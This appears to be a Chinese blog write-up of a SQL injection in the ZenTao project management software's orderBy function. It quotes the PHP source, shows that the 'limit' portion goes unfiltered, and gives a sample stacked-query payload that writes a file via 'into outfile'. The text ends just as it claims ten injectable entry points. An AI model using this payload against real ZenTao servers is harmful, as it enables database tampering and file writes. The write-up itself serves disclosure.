首发:http://ecma.io/706.html
漏洞出现在zentao\lib\base\dao\dao.class.php中的orderBy函数
public function orderBy(*$order*)
{
if($this->inCondition and !$this->conditionIsTrue) return $this;
*$order *= *str_replace*(array('|', '', '_'), ' ', *$order*);
/* Add "`" in order string. */
/* When order has limit string. */
$pos = *stripos*(*$order*, 'limit');
$orders = $pos ? *substr*(*$order*, 0, $pos) : *$order*;
$limit = $pos ? *substr*(*$order*, $pos) : '';
$orders = *trim*($orders);
if(empty($orders)) return $this;
if(!*preg_match*('/^(\w+\.)?(`\w+`|\w+)( +(desc|asc))?( *(, *(\w+\.)?(`\w+`|\w+)( +(desc|asc))?)?)*$/i', $orders)) die("Order is bad request, The order is $orders");
$orders = *explode*(',', $orders);
foreach($orders as $i => *$order*)
{
$orderParse = *explode*(' ', *trim*(*$order*));
foreach($orderParse as $key => $value)
{
$value = *trim*($value);
if(empty($value) or *strtolower*($value) == 'desc' or *strtolower*($value) == 'asc') continue;
$field = $value;
/* such as t1.id field. */
if(*strpos*($value, '.') !== false) list($table, $field) = *explode*('.', $field);
if(*strpos*($field, '`') === false) $field = "`$field`";
$orderParse[$key] = isset($table) ? $table . '.' . $field : $field;
unset($table);
}
$orders[$i] = *join*(' ', $orderParse);
if(empty($orders[$i])) unset($orders[$i]);
}
*$order *= *join*(',', $orders) . ' ' . $limit;
$this->sql .= ' ' . DAO::ORDERBY . " *$order*";
*var_dump*($this->sql);
return $this;
}
这是对orderBy的参数进行拼接,并且对参数进行了一系列的过滤,但是有个问题:
$pos = *stripos*(*$order*, 'limit');
$orders = $pos ? *substr*(*$order*, 0, $pos) : *$order*;
*$order *= *join*(',', $orders) . ' ' . $limit;
你会发现,没有对limit部分做任何限制就直接拼接。也就是说,使用了orderBy这个函数的地方都有可能产生过滤。
参考: http://ecma.io/691.html,参数怎么构造就不详细说明了
解码之后如下,因为可以PDO可以多语句,那么就可以update或者写文件操作。
{"orderBy":"order limit 1;select 123 into outfile 'd:/xxx.txt'-- -","num":"1,1","type":"openedbyme"}
禅道这个版本是最新的版本,使用了这个函数的地方都有可能产生注入。搜索了一下,共有十处可控: